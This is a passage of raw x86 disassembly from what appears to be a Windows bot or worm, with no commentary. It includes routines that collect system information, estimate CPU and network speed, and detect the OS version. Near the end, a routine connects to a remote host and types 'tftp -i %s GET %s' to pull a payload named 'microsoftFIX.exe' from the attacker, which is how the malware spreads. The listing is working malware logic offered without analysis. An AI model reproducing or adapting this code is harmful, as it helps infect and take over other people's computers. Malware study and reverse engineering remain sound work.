		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_413B9A
		push	[ebp+eax*4+var_3C]
		call	sub_413BB4
		push	8
		mov	esi, eax
		call	sub_413B9A
		push	[ebp+eax*4+var_3C]
		call	sub_413BB4
		add	esp, 10h
		test	esi, esi
		jz	short loc_413E90
		test	eax, eax
		jz	short loc_413E8C
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_413E92
; ---------------------------------------------------------------------------


loc_413E8C:				; CODE XREF: sub_413D8F+F4j
		mov	ebx, esi
		jmp	short loc_413E92
; ---------------------------------------------------------------------------


loc_413E90:				; CODE XREF: sub_413D8F+F0j
		mov	ebx, eax


loc_413E92:				; CODE XREF: sub_413D8F+FBj
					; sub_413D8F+FFj
		push	0Ch
		call	sub_413B9A
		push	[ebp+eax*4+var_6C]
		call	sub_413BB4
		push	0Ch
		mov	edi, eax
		call	sub_413B9A
		push	[ebp+eax*4+var_6C]
		call	sub_413BB4
		add	esp, 10h
		test	edi, edi
		jz	short loc_413ECA
		test	eax, eax
		jz	short loc_413EC6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_413ECC
; ---------------------------------------------------------------------------


loc_413EC6:				; CODE XREF: sub_413D8F+12Ej
		mov	esi, edi
		jmp	short loc_413ECC
; ---------------------------------------------------------------------------


loc_413ECA:				; CODE XREF: sub_413D8F+12Aj
		mov	esi, eax


loc_413ECC:				; CODE XREF: sub_413D8F+135j
					; sub_413D8F+139j
		push	6
		call	sub_413B9A
		push	[ebp+eax*4+var_1C]
		call	sub_413BB4
		push	6
		mov	edi, eax
		call	sub_413B9A
		push	[ebp+eax*4+var_1C]
		call	sub_413BB4
		add	esp, 10h
		test	edi, edi
		jz	short loc_413F04
		test	eax, eax
		jz	short loc_413F00
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_413F06
; ---------------------------------------------------------------------------


loc_413F00:				; CODE XREF: sub_413D8F+168j
		mov	ecx, edi
		jmp	short loc_413F06
; ---------------------------------------------------------------------------


loc_413F04:				; CODE XREF: sub_413D8F+164j
		mov	ecx, eax


loc_413F06:				; CODE XREF: sub_413D8F+16Fj
					; sub_413D8F+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_413F13
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_413F16
; ---------------------------------------------------------------------------


loc_413F13:				; CODE XREF: sub_413D8F+17Bj
		push	2
		pop	edi


loc_413F16:				; CODE XREF: sub_413D8F+182j
		test	esi, esi
		jz	short loc_413F1E
		add	eax, esi
		jmp	short loc_413F1F
; ---------------------------------------------------------------------------


loc_413F1E:				; CODE XREF: sub_413D8F+189j
		dec	edi


loc_413F1F:				; CODE XREF: sub_413D8F+18Dj
		test	ecx, ecx
		jz	short loc_413F27
		add	eax, ecx
		jmp	short loc_413F28
; ---------------------------------------------------------------------------


loc_413F27:				; CODE XREF: sub_413D8F+192j
		dec	edi


loc_413F28:				; CODE XREF: sub_413D8F+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_443540
		push	eax
		call	sub_4171D0
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_410557
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413D8F	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F6C	proc near		; CODE XREF: sub_403038+39FBp
					; sub_403038+3E4Fp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 26C05FFh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DAF3C
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset dword_4435A0
		push	32h
		push	esi
		call	sub_4172D0
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_413F6C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp-94h]
		push	esi
		push	eax
		xor	esi, esi
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 26F053Fh
		nop
		test	eax, eax
		jz	short loc_414068
		cmp	dword ptr [ebp-90h], 4
		jnz	short loc_41403E
		cmp	[ebp-8Ch], esi
		jnz	short loc_414026
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_414019
		push	1
		pop	esi


loc_414019:				; CODE XREF: ___:00414014j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_414068
		push	1
		jmp	short loc_414067
; ---------------------------------------------------------------------------


loc_414026:				; CODE XREF: ___:0041400Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_414033


loc_41402F:				; CODE XREF: ___:0041404Dj
		push	2
		jmp	short loc_414067
; ---------------------------------------------------------------------------


loc_414033:				; CODE XREF: ___:0041402Dj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_414068
		jmp	short loc_414058
; ---------------------------------------------------------------------------


loc_41403E:				; CODE XREF: ___:00414003j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_414068
		cmp	[ebp-8Ch], esi
		jz	short loc_41402F
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_41405C


loc_414058:				; CODE XREF: ___:0041403Cj
		push	3
		jmp	short loc_414067
; ---------------------------------------------------------------------------


loc_41405C:				; CODE XREF: ___:00414056j
		cmp	dword ptr [ebp-8Ch], 2
		jnz	short loc_414068
		push	7


loc_414067:				; CODE XREF: ___:00414024j
					; ___:00414031j ...
		pop	esi


loc_414068:				; CODE XREF: ___:00413FFAj
					; ___:00414020j ...
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41406D	proc near		; CODE XREF: sub_414129+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_414075:				; CODE XREF: sub_41406D+35j
					; sub_41406D+3Bj
		call	sub_4144A6
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	near ptr 2690599h
		nop
		call	sub_4144A6
		sub	eax, edi
		push	0
		sbb	edx, ebx
		push	esi
		push	edx
		push	eax
		call	sub_41A3D0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_414075
		jb	short loc_4140AA
		cmp	ebx, esi
		ja	short loc_414075


loc_4140AA:				; CODE XREF: sub_41406D+37j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41A440
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41411D
		jb	short loc_4140C9
		cmp	esi, 50h
		jnb	short loc_4140CE


loc_4140C9:				; CODE XREF: sub_41406D+55j
		push	4Bh
		xor	edx, edx
		pop	eax


loc_4140CE:				; CODE XREF: sub_41406D+5Aj
		test	ecx, ecx
		ja	short loc_41411D
		jb	short loc_4140D9
		cmp	esi, 47h
		jnb	short loc_4140DE


loc_4140D9:				; CODE XREF: sub_41406D+65j
		push	42h
		xor	edx, edx
		pop	eax


loc_4140DE:				; CODE XREF: sub_41406D+6Aj
		test	ecx, ecx
		ja	short loc_41411D
		jb	short loc_4140E9
		cmp	esi, 37h
		jnb	short loc_4140EE


loc_4140E9:				; CODE XREF: sub_41406D+75j
		push	32h
		xor	edx, edx
		pop	eax


loc_4140EE:				; CODE XREF: sub_41406D+7Aj
		test	ecx, ecx
		ja	short loc_41411D
		jb	short loc_4140F9
		cmp	esi, 26h
		jnb	short loc_4140FE


loc_4140F9:				; CODE XREF: sub_41406D+85j
		push	21h
		xor	edx, edx
		pop	eax


loc_4140FE:				; CODE XREF: sub_41406D+8Aj
		test	ecx, ecx
		ja	short loc_41411D
		jb	short loc_414109
		cmp	esi, 1Eh
		jnb	short loc_41410E


loc_414109:				; CODE XREF: sub_41406D+95j
		push	19h
		xor	edx, edx
		pop	eax


loc_41410E:				; CODE XREF: sub_41406D+9Aj
		test	ecx, ecx
		ja	short loc_41411D
		jb	short loc_414119
		cmp	esi, 0Ah
		jnb	short loc_41411D


loc_414119:				; CODE XREF: sub_41406D+A5j
		xor	eax, eax
		xor	edx, edx


loc_41411D:				; CODE XREF: sub_41406D+53j
					; sub_41406D+63j ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41406D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414129	proc near		; CODE XREF: sub_403038+3BA4p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_4DAF74
		mov	[ebp+var_CC], 94h
		call	near ptr 26F053Fh
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_4141B0
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41418C
		cmp	[ebp+var_BC], 1
		jnz	short loc_414176
		mov	[ebp+var_4], offset dword_4435AC


loc_414176:				; CODE XREF: sub_414129+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41422B
		mov	[ebp+var_4], offset dword_4435B0
		jmp	short loc_4141FC
; ---------------------------------------------------------------------------


loc_41418C:				; CODE XREF: sub_414129+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41419E
		mov	[ebp+var_4], offset dword_4435B4
		jmp	short loc_4141F3
; ---------------------------------------------------------------------------


loc_41419E:				; CODE XREF: sub_414129+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_4141EC
		mov	[ebp+var_4], offset dword_4435B8
		jmp	short loc_4141F3
; ---------------------------------------------------------------------------


loc_4141B0:				; CODE XREF: sub_414129+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_4141EC
		cmp	[ebp+var_C4], ebx
		jnz	short loc_4141CA
		mov	[ebp+var_4], offset dword_4435BC
		jmp	short loc_4141F3
; ---------------------------------------------------------------------------


loc_4141CA:				; CODE XREF: sub_414129+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_4141DC
		mov	[ebp+var_4], offset dword_4435C0
		jmp	short loc_4141F3
; ---------------------------------------------------------------------------


loc_4141DC:				; CODE XREF: sub_414129+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_4141F3


loc_4141EC:				; CODE XREF: sub_414129+7Cj
					; sub_414129+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_4141F3:				; CODE XREF: sub_414129+73j
					; sub_414129+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41422B


loc_4141FC:				; CODE XREF: sub_414129+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41422B
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_5	; "%s (%s)"
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41422B:				; CODE XREF: sub_414129+54j
					; sub_414129+D1j ...
		mov	ax, word_4435D8
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_445228
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_414264
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_414264:				; CODE XREF: sub_414129+12Cj
		push	[ebp+arg_4]
		call	sub_40267D
		pop	ecx
		push	eax
		call	dword_445388
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_445300
		cmp	eax, ebx
		jz	short loc_41428D
		push	dword ptr [eax]
		jmp	short loc_414292
; ---------------------------------------------------------------------------


loc_41428D:				; CODE XREF: sub_414129+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_414292:				; CODE XREF: sub_414129+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4171D0
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2750000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs_0 ; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 27412EBh
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2820000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_417BD0
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_411696
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_413F6C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40267D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_411586
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_411586
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41406D
		push	edx
		push	eax
		push	offset dword_44360C
		push	200h
		push	[ebp+arg_0]
		call	sub_4172D0
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414129	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143DD	proc near		; CODE XREF: sub_403038+29AAp
					; sub_403038+3BD2p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417070
		add	esp, 0Ch
		cmp	dword_445430, 0
		jnz	short loc_414451
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_44520C
		test	eax, eax
		jnz	short loc_414432
		lea	eax, [ebp+var_8C]
		push	offset dword_4436E8
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx


loc_414432:				; CODE XREF: sub_4143DD+40j
		test	[ebp+var_C], 1
		jz	short loc_41444A
		push	offset dword_4436F8


loc_41443D:				; CODE XREF: sub_4143DD+72j
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	short loc_414473
; ---------------------------------------------------------------------------


loc_41444A:				; CODE XREF: sub_4143DD+59j
		push	offset off_443700
		jmp	short loc_41443D
; ---------------------------------------------------------------------------


loc_414451:				; CODE XREF: sub_4143DD+28j
		lea	eax, [ebp+var_8]
		push	offset off_443704
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_8C]
		push	offset off_443708
		push	eax
		call	sub_4171D0
		add	esp, 10h


loc_414473:				; CODE XREF: sub_4143DD+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40267D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_44370C
		push	200h
		push	[ebp+arg_0]
		call	sub_4172D0
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_4143DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4144A6	proc near		; CODE XREF: sub_41406D:loc_414075p
					; sub_41406D+1Cp
		rdtsc
		retn
sub_4144A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4144A9	proc near		; CODE XREF: ___:0041478Dp
					; ___:004147AAp ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DB080
		lea	edi, [ebp+var_C]
		mov	ax, word_44375C
		movsd
		movsb
		mov	esi, offset dword_4DB088
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_443760
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4DB07C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_414575
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_4144FB:				; CODE XREF: sub_4144A9+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41451B
		dec	eax
		jnz	short loc_414569
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_445398
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41452F
; ---------------------------------------------------------------------------


loc_41451B:				; CODE XREF: sub_4144A9+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_445398
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41452F:				; CODE XREF: sub_4144A9+70j
		push	eax
		push	edi
		call	dword_445398
		push	ebx
		call	sub_414BE0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41454B


loc_414544:				; DATA XREF: ___:004447A0o
					; ___:00444C9Co
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_414550
; ---------------------------------------------------------------------------


loc_41454B:				; CODE XREF: sub_4144A9+99j
		push	5
		lea	eax, [ebp+var_14]


loc_414550:				; CODE XREF: sub_4144A9+A0j
		push	eax
		push	edi
		call	dword_445398
		push	esi
		push	ebx
		call	sub_414BE0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_445398


loc_414569:				; CODE XREF: sub_4144A9+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_4144FB
		pop	ebx
		jmp	short loc_4145EB
; ---------------------------------------------------------------------------


loc_414575:				; CODE XREF: sub_4144A9+42j
		dec	eax
		jz	short loc_414594
		dec	eax
		jnz	short loc_4145EB
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_445398
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_4145AB
; ---------------------------------------------------------------------------


loc_414594:				; CODE XREF: sub_4144A9+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_445398
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_4145AB:				; CODE XREF: sub_4144A9+E9j
		push	eax
		push	edi
		call	dword_445398
		push	[ebp+arg_4]
		call	sub_414BE0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_4145C9
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_4145CE
; ---------------------------------------------------------------------------


loc_4145C9:				; CODE XREF: sub_4144A9+117j
		push	5
		lea	eax, [ebp+var_14]


loc_4145CE:				; CODE XREF: sub_4144A9+11Ej
		push	eax
		push	edi
		call	dword_445398
		push	esi
		push	[ebp+arg_4]
		call	sub_414BE0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_445398


loc_4145EB:				; CODE XREF: sub_4144A9+CAj
					; sub_4144A9+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_4144A9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_443764
		lea	edi, [ebp-38h]
		mov	ax, word_443778
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_443774
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_4DB090
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_443780
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_443788
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		mov	[ebp-2], ax
		mov	ax, word_44377C
		xor	esi, esi
		mov	[ebp-4], ax
		mov	ax, word_44378C
		push	esi
		push	1
		push	2
		mov	[ebp-6], ax
		xor	edi, edi
		call	dword_4453C8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp-1Ch], ebx
		jnz	short loc_414670
		push	eax
		call	dword_4453E0


loc_414670:				; CODE XREF: ___:00414667j
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_445388
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_445348
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4452F0
		test	eax, eax
		jnz	loc_4149A5


loc_4146A8:				; CODE XREF: ___:0041471Ej
					; ___:00414759j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_417070
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_445360
		cmp	eax, esi
		jle	loc_414778
		cmp	eax, 0FFFFFFFFh
		jz	loc_414778
		mov	eax, edi
		sub	eax, esi
		jz	short loc_414720
		dec	eax
		jz	short loc_4146EA
		dec	eax
		jz	short loc_41475E
		jmp	short loc_414754
; ---------------------------------------------------------------------------


loc_4146EA:				; CODE XREF: ___:004146E3j
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4149A5
		lea	eax, [ebp-2]
		push	esi
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp-2]
		push	eax
		push	ebx
		call	dword_445398
		push	2
		pop	edi
		jmp	short loc_4146A8
; ---------------------------------------------------------------------------


loc_414720:				; CODE XREF: ___:004146E0j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4149A5
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_445398
		push	1
		pop	edi


loc_414754:				; CODE XREF: ___:004146E8j
		cmp	edi, 3
		jz	short loc_414778
		jmp	loc_4146A8
; ---------------------------------------------------------------------------


loc_41475E:				; CODE XREF: ___:004146E6j
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4149A5


loc_414778:				; CODE XREF: ___:004146CDj
					; ___:004146D6j ...
		push	esi
		lea	eax, [ebp-4]
		push	1
		push	eax
		push	ebx
		call	dword_445398
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_4144A9
		mov	esi, dword_4DD2CC
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-6]
		push	0
		push	eax
		push	ebx
		call	sub_4144A9
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_4144A9
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-18h], 0
		mov	ebx, offset byte_443750
		push	ebx
		call	sub_414BE0
		test	eax, eax
		pop	ecx
		jbe	short loc_41481A


loc_4147DB:				; CODE XREF: ___:00414818j
		mov	eax, [ebp-18h]
		movsx	eax, byte_443750[eax]
		push	eax
		push	offset dword_443790
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_4172D0
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_4144A9
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-18h]
		push	ebx
		call	sub_414BE0
		cmp	[ebp-18h], eax
		pop	ecx
		jb	short loc_4147DB


loc_41481A:				; CODE XREF: ___:004147D9j
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_4144A9
		add	esp, 0Ch
		push	7D0h
		call	esi
		push	100h
		mov	ebx, offset byte_4DAF7C
		push	0
		push	ebx
		call	sub_417070
		add	esp, 0Ch
		push	offset aMicrosoftfix_e ; "microsoftFIX.exe"
		push	dword ptr [ebp+8]
		call	sub_40267D
		pop	ecx
		push	eax
		push	offset aTftpISGetS_0 ; "tftp -i	%s GET %s"
		push	0FFh
		push	ebx
		call	sub_4172D0
		and	dword ptr [ebp-18h], 0
		push	ebx
		call	sub_414BE0
		add	esp, 18h
		test	eax, eax
		jbe	short loc_4148B6


loc_414877:				; CODE XREF: ___:004148B4j
		mov	eax, [ebp-18h]
		movsx	eax, byte_4DAF7C[eax]
		push	eax
		push	offset aC	; "%c"
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_4172D0
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_4144A9
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-18h]
		push	ebx
		call	sub_414BE0
		cmp	[ebp-18h], eax
		pop	ecx
		jb	short loc_414877


loc_4148B6:				; CODE XREF: ___:00414875j
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_4144A9
		add	esp, 0Ch
		push	7530h
		call	esi
		and	dword ptr [ebp-18h], 0
		mov	ebx, offset aMicrosoftfix_e ; "microsoftFIX.exe"
		push	ebx
		call	sub_414BE0
		test	eax, eax
		pop	ecx
		jbe	short loc_414924


loc_4148E5:				; CODE XREF: ___:00414922j
		mov	eax, [ebp-18h]
		movsx	eax, byte ptr aMicrosoftfix_e[eax] ; "microsoftFIX.exe"
		push	eax
		push	offset aC_0	; "%c"
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_4172D0
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	dword ptr [ebp-1Ch]
		call	sub_4144A9
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-18h]
		push	ebx
		call	sub_414BE0
		cmp	[ebp-18h], eax
		pop	ecx
		jb	short loc_4148E5


loc_414924:				; CODE XREF: ___:004148E3j
		push	edi
		call	esi
		xor	ebx, ebx
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	dword ptr [ebp-1Ch]
